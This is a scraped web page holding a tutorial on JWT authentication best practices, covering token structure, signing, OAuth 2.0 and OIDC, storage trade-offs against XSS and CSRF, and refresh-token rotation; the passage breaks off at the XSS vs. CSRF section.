    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#how-does-your-storage-choice-affect-xss-and-csrf-risk&quot;&gt;XSS vs. CSRF: How does your storage choice affect your attack surface?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-does-your-storage-choice-affect-xss-and-csrf-risk&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#what-is-xss&quot;&gt;What is XSS (Cross-Site Scripting)?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-is-xss&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#what-is-csrf&quot;&gt;What is CSRF (Cross-Site Request Forgery)?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-is-csrf&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#what-issues-limitations&quot;&gt;What are the limitations of JWTs?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-issues-limitations&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#%E2%80%9Djwts-encrypted%E2%80%9D&quot;&gt;Are JWTs encrypted?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;”jwts-encrypted”&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#%E2%80%9Djwts-need-javascript-work%E2%80%9D&quot;&gt;Do JWTs require JavaScript?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;”jwts-need-javascript-work”&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#%E2%80%9Djwts-subject-size-constraints%E2%80%9D&quot;&gt;&lt;strong&gt;Are JWTs subject to size limits?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;”jwts-subject-size-constraints”&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#when-should-you-not-use-jwts&quot;&gt;&lt;strong&gt;When should you not use JWTs?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;when-should-you-not-use-jwts&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#jwts-vs-server-side-sessions&quot;&gt;&lt;strong&gt;JWTs vs. server-side sessions: Which should you choose?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;jwts-vs-server-side-sessions&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#when-are-server-side-sessions-the-better-choice&quot;&gt;When are server-side sessions the better choice?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;when-are-server-side-sessions-the-better-choice&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#when-are-jwts-the-right-choice&quot;&gt;When are JWTs the right choice?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;when-are-jwts-the-right-choice&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#frequently-asked-questions&quot;&gt;Frequently Asked Questions&lt;/a&gt;
        &lt;ul data-toc-name=&quot;frequently-asked-questions&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#can-i-decode-a-jwt-without-the-secret-key&quot;&gt;Can I decode a JWT without the secret key?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;can-i-decode-a-jwt-without-the-secret-key&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#what-happens-when-a-jwt-expires&quot;&gt;What happens when a JWT expires?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-happens-when-a-jwt-expires&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#should-i-validate-jwts-on-every-request&quot;&gt;Should I validate JWTs on every request?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;should-i-validate-jwts-on-every-request&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#can-i-use-the-same-jwt-for-authentication-and-authorization&quot;&gt;Can I use the same JWT for both authentication and authorization?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;can-i-use-the-same-jwt-for-authentication-and-authorization&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/#Key-Takeaways&quot;&gt;Key Takeaways&lt;/a&gt;
        &lt;ul data-toc-name=&quot;Key-Takeaways&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/div&gt;
                &lt;div class=&quot;plug-gutter&quot;&gt;
    &lt;div class=&quot;plug-gutter--image&quot;&gt;
        &lt;img src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/12/GalileoAIPreview.png&quot; alt=&quot;LogRocket Galileo logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-gutter--top&quot;&gt;Introducing Galileo AI&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--bottom&quot;&gt;LogRocket’s Galileo AI watches every session, surfacing impactful user struggle and key behavior patterns.&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--cta&quot;&gt;
        &lt;a href=&quot;https://logrocket.com/products/galileo-ai&quot; class=&quot;plug-gutter--button&quot;&gt;LEARN MORE&lt;/a&gt;
    &lt;/div&gt;
&lt;/div&gt;


            &lt;/div&gt;
        &lt;/aside&gt;
        &lt;div id=&quot;the-content-container&quot;&gt;&lt;style&gt;
.plug-dev-top--card {
    border: 2px solid rgba(118, 74, 188, 0.2);
    border-radius: 8px;
    background-color: #491d90;
    justify-content: space-between;
    align-items: center;
    padding: 16px;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    display:flex;
    gap: 1rem;
    cursor: pointer;
}

.plug-dev-top--logo {
    width: 48px;
    height: 48px;
    border-radius: 50%;
}

.plug-dev-top--blurb {
    h2 {
        font-weight: 800;
        font-size: 22px;
        line-height: 22px;
        color: #fff;
        width: 70%;
        margin: 0 0 5px 0;
    }

    h3 {
        font-weight: 900;
        font-size: 13px;
        line-height: 13px;
        letter-spacing: 0.1em;
        color: #fff;
        opacity: 0.5;
        white-space: nowrap;
        margin: 0;
    }
}

.plug-dev-top--cta {
    background-color: #fff;
    color: #764abc;
    border: none;
    border-radius: 4px;
    padding: 10px;
    font-size: 16px;
    font-weight: 800;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    text-decoration: none;
    width: 25%;
    text-align: center;

    &amp;:hover {
        text-decoration: none;
        color: #a58ec8;
    }
}

.plug-dev-top--asset {
    position: relative;
    height: 400px;
    overflow: hidden;
    transition: all 0.3s ease;
    margin-top: 30px;

    &amp;.lr-hidden {
        height: 0;
        margin: 0;
    }
}
&lt;/style&gt;
&lt;div class=&quot;plug-dev-top&quot;&gt;
    &lt;div class=&quot;plug-dev-top--card&quot;&gt;
        &lt;img class=&quot;plug-dev-top--logo&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/04/logrocket-logo-1.png&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;div class=&quot;plug-dev-top--blurb&quot;&gt;
            &lt;h2&gt;See how LogRocket&#39;s Galileo AI surfaces the most severe issues for you&lt;/h2&gt;
            &lt;h3&gt;No signup required&lt;/h3&gt;
        &lt;/div&gt;
        &lt;div class=&quot;plug-dev-top--cta&quot;&gt;Check it out&lt;/div&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-dev-top--asset lr-hidden&quot;&gt;
        &lt;div style=&quot;position: absolute; top: 0; left: 0; height: 100%; width: 100%&quot;&gt;
            &lt;iframe id=&quot;galileo-wistia-iframe&quot; src=&quot;https://fast.wistia.net/embed/iframe/x7kl3pp560?web_component=true&amp;amp;seo=true&quot; title=&quot;Galileo AI Overview - May 2025 Video&quot; allow=&quot;autoplay; fullscreen&quot; class=&quot;wistia_embed&quot; name=&quot;wistia_embed&quot; width=&quot;100%&quot; height=&quot;100%&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
            &lt;/iframe&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;



            
&lt;div class=&quot;lr-content&quot;&gt;
    &lt;!-- TEMP: .article-post is only used for adinserter to hook into --&gt;
    &lt;div class=&quot;article-post&quot;&gt;&lt;/div&gt;
    
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Editor’s note&lt;/strong&gt;: This JWT authentication tutorial was last updated on 23 July 2026 by &lt;a href=&quot;https://blog.logrocket.com/author/emmanueljohn/&quot;&gt;Emmanuel John&lt;/a&gt; to discuss modern JWT authentication practices, including OAuth 2.0 and OIDC, secure token storage, refresh token rotation, XSS and CSRF risks, and scenarios where server-side sessions may be a better choice than JWTs.&lt;/em&gt;&lt;/p&gt;&lt;img fetchpriority=&quot;high&quot; decoding=&quot;async&quot; width=&quot;895&quot; height=&quot;597&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2021/06/jwt-authentication-best-practices.png&quot; class=&quot;attachment-full size-full wp-post-image&quot; alt=&quot;JWT Authentication: Best Practices And When To Use It&quot; srcset=&quot;https://blog.logrocket.com/wp-content/uploads/2021/06/jwt-authentication-best-practices.png 895w, https://blog.logrocket.com/wp-content/uploads/2021/06/jwt-authentication-best-practices-300x200.png 300w, https://blog.logrocket.com/wp-content/uploads/2021/06/jwt-authentication-best-practices-768x512.png 768w&quot; sizes=&quot;(max-width: 895px) 100vw, 895px&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
&lt;p&gt;In web development, authentication is one of the most complex aspects to implement yourself. Many web applications delegate authentication to third-party authentication services like Auth0 or rely on authentication built into the frameworks or tools they are built with.&lt;/p&gt;
&lt;p&gt;This also means that many developers (maybe you too 🙂 ) don’t know how to build at least moderately secure authentication into their web applications. JWT provides an easy way to to do this&lt;/p&gt;
&lt;p&gt;With knowledge of some of the security concerns to consider when using JWT, you can implement a more secure authentication as you see with third-party authentication services. So, in this guide, we’ll begin by covering what JWTs are, then we’ll go into how they’re used and why, and finally, we’ll go into the issues and concerns to look out for when using JWTs.&lt;/p&gt;
&lt;h2 id=&quot;what-jwt&quot;&gt;What is JWT?&lt;/h2&gt;
&lt;p&gt;JSON Web Token (JWT) is a standard for structuring data to be transmitted between two parties (commonly server and client). A JWT is a single string made up of two components, a JSON Object Signing and Encryption (JOSE) header and its claims (or payload), both base64url encoded and separated by a period (&lt;code&gt;.&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;This is the structure of a token:&lt;/p&gt;
&lt;pre class=&quot;language-text hljs&quot;&gt;(Header).(Payload)
&lt;/pre&gt;
&lt;p&gt;Here’s an example of a token:&lt;/p&gt;
&lt;pre class=&quot;language-text hljs&quot;&gt;eyJhbGciOiJub25l4oCdfQ.ewogICJpZCI6ICIxMjM0NTY3ODkwIiwKICAibmFtZSI6ICJKb2huIERvZSIsCiAgImFnZSI6IDM2Cn0K
&lt;/pre&gt;
&lt;p&gt;This token is constructed with these two components:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;JOSE header:
&lt;pre class=&quot;language-json hljs&quot;&gt;{
  &quot;alg&quot;: &quot;none&quot;
}
// base64url encoded to: eyJhbGciOiJub25l4oCdfQ
&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Claims:
&lt;pre class=&quot;language-json hljs&quot;&gt;{
  &quot;id&quot;: &quot;1234567890&quot;,
  &quot;name&quot;: &quot;John Doe&quot;,
  &quot;age&quot;: 36
}
// base64url encoded to: ewogICJpZCI6ICIxMjM0NTY3ODkwIiwKICAibmFtZSI6ICJKb2huIERvZSIsCiAgImFnZSI6IDM2Cn0
&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The JOSE header contains details about the type of encryption, signing, or both applied to the token. &lt;code&gt;&quot;alg&quot;: &quot;none”&lt;/code&gt; specifies that the token isn’t encrypted or signed.&lt;/p&gt;
&lt;p&gt;Claims are the information that JWTs carry. In the context of user authentication and authorization, you can think of it as claims about a user. The claims in this token are made up of three fields &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;name&lt;/code&gt;, and &lt;code&gt;age&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;JSON Web Tokens aren’t sent directly as JSON strings because they’re UTF-8 encoded. This means that they can contain characters that aren’t URL-safe (characters like “/” or “&amp;amp;” for example). They can’t be put safely in HTTP Authorization headers and URI query parameters.&lt;/p&gt;
&lt;p&gt;To make tokens URL-safe, they’re encoded into base64url format. This allows them to be safely put in query parameters and authorization headers.&lt;/p&gt;
&lt;p&gt;However, this form of JSON Web Tokens is unsecured because there’s no way of ensuring the integrity of its claims, making it very unsafe to use in user authentication.&lt;/p&gt;
&lt;h2 id=&quot;how-jwts-work-user-authentication&quot;&gt;&lt;strong data-start=&quot;398&quot; data-end=&quot;438&quot;&gt;How are JWTs used in authentication?&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;The type of JWTs used in handling user authentications are signed tokens (or JSON Web Signatures, JWSs). Signed tokens are essentially JWTs with a cryptographically generated signature, to ensure that the claims in the tokens haven’t been tampered with.&lt;/p&gt;
&lt;p&gt;Three components go into making Signed tokens:&lt;/p&gt;
&lt;ul&gt;
&lt;li style=&quot;padding-bottom: 10px;&quot;&gt;&lt;strong&gt;JOSE header&lt;/strong&gt; — Information about the algorithm used to sign the JWT&lt;/li&gt;
&lt;li style=&quot;padding-bottom: 10px;&quot;&gt;&lt;strong&gt;Payload (claims)&lt;/strong&gt; — A payload is a JSON Web Token that holds the data to carry&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Signature&lt;/strong&gt; — This is a string of characters created by hashing the payload and header (or just the payload) using the algorithm specified in the JOSE header. After generation, the signature is base64url encoded and added to the JWS&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is the structure of a signed token:&lt;/p&gt;
&lt;pre class=&quot;language-text hljs&quot;&gt;(Header).(Payload).(Signature)&lt;/pre&gt;
&lt;p&gt;Here’s an example of a signed JWT:&lt;/p&gt;
&lt;pre class=&quot;language-text hljs&quot;&gt;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjEyMzQ1Njc4OTAiLCJuYW1lIjoiSm9obiBEb2UiLCJhZ2UiOjM2fQ.4SkNQ2QZ8z5Lh7W0n2FK8KnXxXq_9yPmyMslK9YpN0A&lt;/pre&gt;
&lt;p&gt;The token is constructed from these components:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Header:&lt;/strong&gt;
&lt;pre class=&quot;language-json hljs&quot;&gt;{
  &quot;typ&quot;: &quot;JWT&quot;,
  &quot;alg&quot;: &quot;HS256&quot;
}&lt;/pre&gt;
&lt;p&gt;Base64URL encoded as:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot;&gt;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Payload:&lt;/strong&gt;
&lt;pre class=&quot;language-json hljs&quot;&gt;{
  &quot;id&quot;: &quot;1234567890&quot;,
  &quot;name&quot;: &quot;John Doe&quot;,
  &quot;age&quot;: 36
}&lt;/pre&gt;
&lt;p&gt;Base64URL encoded as:&lt;/p&gt;
&lt;pre class=&quot;language-text hljs&quot;&gt;eyJpZCI6IjEyMzQ1Njc4OTAiLCJuYW1lIjoiSm9obiBEb2UiLCJhZ2UiOjM2fQ&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Signature:&lt;/strong&gt; Generated by applying HMAC SHA-256 to the Base64URL-encoded header and payload:
&lt;pre class=&quot;language-text hljs&quot;&gt;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjEyMzQ1Njc4OTAiLCJuYW1lIjoiSm9obiBEb2UiLCJhZ2UiOjM2fQ&lt;/pre&gt;
&lt;p&gt;using the secret key &lt;code&gt;your-256-bit-secret&lt;/code&gt;. The resulting signature is Base64URL encoded and appended as the third part of the JWT.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So how are signed tokens used in authentication? Here’s a simplified outline of the process:&lt;/p&gt;
&lt;ol&gt;
&lt;li style=&quot;padding-bottom: 10px;&quot;&gt;A user signs into their account on an authentication server&lt;/li&gt;
&lt;li style=&quot;padding-bottom: 10px;&quot;&gt;The authentication server returns a signed token with their account information or an ID (or both)&lt;/li&gt;
&lt;li style=&quot;padding-bottom: 10px;&quot;&gt;The signed token is stored in the &lt;a href=&quot;https://blog.logrocket.com/localstorage-javascript-complete-guide/&quot;&gt;browser’s localStorage&lt;/a&gt; or sessionStorage or anywhere the website prefers to store it&lt;/li&gt;
&lt;li&gt;The signed token is retrieved and used anytime a part of the website needs authenticated access&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Here’s a visual representation of the process:&lt;/p&gt;
&lt;p&gt;&lt;img decoding=&quot;async&quot; class=&quot;aligncenter wp-image-195803 size-large&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/12/jwt-authentication-process-browser-authentication-server.png?w=895&quot; alt=&quot;Diagram showing the JWT authentication process between the user&#39;s browser, authentication server, and web application.&quot; width=&quot;895&quot; height=&quot;390&quot; srcset=&quot;https://blog.logrocket.com/wp-content/uploads/2023/12/jwt-authentication-process-browser-authentication-server.png 895w, https://blog.logrocket.com/wp-content/uploads/2023/12/jwt-authentication-process-browser-authentication-server-300x131.png 300w, https://blog.logrocket.com/wp-content/uploads/2023/12/jwt-authentication-process-browser-authentication-server-768x335.png 768w&quot; sizes=&quot;(max-width: 895px) 100vw, 895px&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;author-d-1gg9uz65z1iz85zgdz68zmqkz84zo2qoxwoz77zn2z80zat6z81zz122zz84znigz87zmz76zz78zz74zr7z78zz78zv6i5331&quot;&gt;Now that you know how JWTs work in authentication, let’s look at where they fit in the broader landscape of modern auth standards.&lt;/span&gt;&lt;/p&gt;

&lt;h2 id=&quot;where-does-jwt-fit-in-oauth-2-and-oidc&quot;&gt;Where does JWT fit in OAuth 2.0 and OIDC?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.logrocket.com/understanding-jwt-oauth-bearer-tokens/&quot;&gt;JWTs&lt;/a&gt; are the token format. OAuth 2.0 and OpenID Connect (OIDC) are the protocols that define how those tokens are issued and used.&lt;/p&gt;
&lt;p&gt;Many developers encounter JWTs first through OAuth 2.0 or OIDC flows, especially when integrating third-party identity providers like Google, GitHub, or Auth0. Understanding the distinction matters for implementing things correctly.&lt;/p&gt;
&lt;p&gt;OAuth 2.0 is an authorization framework. It defines how a resource owner (a user) can grant a third-party client limited access to a protected resource (like an API) without exposing credentials. OAuth 2.0 itself does not mandate a token format, but JWTs have become the de facto standard for access tokens because they are self-contained and verifiable without a round-trip to the authorization server.&lt;/p&gt;
&lt;p&gt;OpenID Connect (OIDC) is an identity layer built on top of OAuth 2.0. It introduces the ID token, which is always a JWT and contains claims about the authenticated user (like &lt;code&gt;sub&lt;/code&gt;, &lt;code&gt;email&lt;/code&gt;, &lt;code&gt;name&lt;/code&gt;). OIDC is the protocol you are using when you click “Sign in with Google.”&lt;/p&gt;
&lt;p&gt;Here is how they relate:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;th&gt;Token type&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;OAuth 2.0&lt;/td&gt;
&lt;td&gt;Authorization framework&lt;/td&gt;
&lt;td&gt;Access token (often a JWT)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OIDC&lt;/td&gt;
&lt;td&gt;Authentication layer on OAuth 2.0&lt;/td&gt;
&lt;td&gt;ID token (always a JWT)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JWT&lt;/td&gt;
&lt;td&gt;Token format/standard&lt;/td&gt;
&lt;td&gt;Used by both&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;In practice, a typical OIDC flow issues three tokens:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ID token:&lt;/strong&gt; A JWT asserting who the user is; intended for the client to read, not the API.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access token:&lt;/strong&gt; Used to call protected APIs; often a JWT but not required to be.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Refresh token:&lt;/strong&gt; An opaque or JWT token used to obtain new access tokens; never sent to the API.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A common mistake is using the ID token to authorize API calls. The access token is what APIs should validate. The ID token is for the client application to establish user identity.&lt;/p&gt;
&lt;h2 id=&quot;problem-jwt-aims-solve&quot;&gt;Why should you use JWTs?&lt;/h2&gt;
&lt;p&gt;It turns out that authentication isn’t easy to implement securely. I’ve made many web projects with simple hand-written authentication processes, where I just store the user’s identifier and password as plain JSON strings in JavaScript localStorage and pass them to any region of my application that needs authenticated access.&lt;/p&gt;
&lt;p&gt;Fortunately, those projects didn’t have many users (or any in most cases), so it wasn’t rewarding to exploit. If the web applications had many (and important) users and had authentication implemented this way, it would’ve meant disaster.&lt;/p&gt;
&lt;p&gt;Signed tokens prevent these kinds of disasters by:&lt;/p&gt;
&lt;ul&gt;
&lt;li style=&quot;padding-bottom: 10px;&quot;&gt;Removing the need to store passwords in localStorage: A session ID in a signed token is enough to identify users. If the signature is generated using the HMAC SHA-256 algorithm, and the key used to create the signature is kept with extreme secrecy, and as random as possible, you can rest assured that only the authentication server can produce and verify the signature (provided that an attacker doesn’t have access to a quantum computer, and know how to use it)&lt;/li&gt;
&lt;li&gt;Removing the need for redundant database querying: If claims about a user can be stored in a JWT and the integrity of the claims can be assured with the signature in a JWS, an API can use those claims without raising any concerns&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But JWTs aren’t perfect solutions for secure authentication. They still have issues and concerns to look out for (and possibly work around) when using them in your project.&lt;/p&gt;

&lt;h2 id=&quot;where-should-you-store-jwts&quot;&gt;Where should you store JWTs?&lt;/h2&gt;
&lt;p&gt;You should store access tokens in memory and refresh tokens in &lt;code&gt;HttpOnly&lt;/code&gt;, &lt;code&gt;Secure&lt;/code&gt;, &lt;code&gt;SameSite=Strict&lt;/code&gt; cookies.&lt;/p&gt;
&lt;p&gt;Token storage is one of the most debated topics in JWT security, and the answer depends on which threats you are prioritizing. Every storage option comes with trade-offs.&lt;/p&gt;
&lt;p&gt;Here is a comparison of storage options:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Storage location&lt;/th&gt;
&lt;th&gt;Accessible by JS&lt;/th&gt;
&lt;th&gt;Sent automatically&lt;/th&gt;
&lt;th&gt;XSS risk&lt;/th&gt;
&lt;th&gt;CSRF risk&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;localStorage&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sessionStorage&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;In-memory (JS variable)&lt;/td&gt;
&lt;td&gt;Yes (same tab only)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HttpOnly&lt;/code&gt; cookie&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes (same-origin)&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HttpOnly&lt;/code&gt; + &lt;code&gt;SameSite=Strict&lt;/code&gt; cookie&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes (strict same-origin)&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Both &lt;code&gt;localStorage&lt;/code&gt; and &lt;code&gt;sessionStorage&lt;/code&gt; are accessible via JavaScript on the page. A successful XSS attack gives an attacker full access to the token immediately. &lt;code&gt;window.localStorage.getItem(&#39;token&#39;)&lt;/code&gt; is all it takes. Avoid storing JWTs with meaningful access scope here.&lt;/p&gt;
&lt;p&gt;Storing access tokens in-memory means they disappear on page refresh and are not accessible from other tabs or persisted to disk. This is the most XSS-resistant client-side option for access tokens, though it requires a separate mechanism (like a refresh token in a cookie) to restore a session after a page reload.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;HttpOnly&lt;/code&gt; cookies, the browser sends these automatically with every matching request, and they cannot be read by JavaScript at all. This eliminates XSS token theft but introduces CSRF risk. You can mitigate CSRF with &lt;code&gt;SameSite=Strict&lt;/code&gt; and CSRF tokens.&lt;/p&gt;
&lt;h2 id=&quot;how-do-refresh-tokens-and-token-expiration-work&quot;&gt;How do refresh tokens and token expiration work?&lt;/h2&gt;
&lt;p&gt;Access tokens should be short-lived (5 to 15 minutes). Refresh tokens should be rotated on every use and revocable server-side.&lt;/p&gt;
&lt;p&gt;One structural weakness of JWTs is that they are stateless by default. Once issued, a server cannot invalidate a token before its expiration unless it maintains a server-side blocklist, which reintroduces statefulness.&lt;/p&gt;
&lt;p&gt;Token expiration and refresh token rotation are the primary tools for managing this problem.&lt;/p&gt;
&lt;h3 id=&quot;access-token-expiration&quot;&gt;What is access token expiration?&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;exp&lt;/code&gt; claim defines when a token expires. Keep access token lifetimes short — 5 to 15 minutes is a common range for high-security applications, with 1 hour being a reasonable upper limit for most apps.&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;sub&quot;: &quot;user_123&quot;,
  &quot;iat&quot;: 1720652400,
  &quot;exp&quot;: 1720653300,
  &quot;roles&quot;: [&quot;user&quot;]
}&lt;/pre&gt;
&lt;p&gt;A short-lived token limits the damage window if one is stolen. An attacker with a captured token has minutes, not days, before it becomes useless.&lt;/p&gt;
&lt;h3 id=&quot;refresh-token-rotation&quot;&gt;What is refresh token rotation?&lt;/h3&gt;
&lt;p&gt;Refresh tokens are long-lived credentials (days to weeks) used to obtain new access tokens without prompting the user to re-authenticate. Because they are long-lived, they need stricter protection.&lt;/p&gt;
&lt;p&gt;Refresh token rotation means issuing a new refresh token every time the old one is used. The old token is immediately invalidated. This means:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If a refresh token is stolen and used by an attacker, the legitimate user’s next refresh request will fail (their token was invalidated by the attacker’s prior use).&lt;/li&gt;
&lt;li&gt;The server can detect reuse of an already-rotated token, which signals a potential compromise.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;how-does-your-storage-choice-affect-xss-and-csrf-risk&quot;&gt;XSS vs. CSRF: How does your storage choice affect your attack surface?&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;localStorage&lt;/code&gt; gives you XSS risk. Cookies give you CSRF risk. Neither is inherently safer, so the question is which risk you can better mitigate given your architecture.&lt;/p&gt;
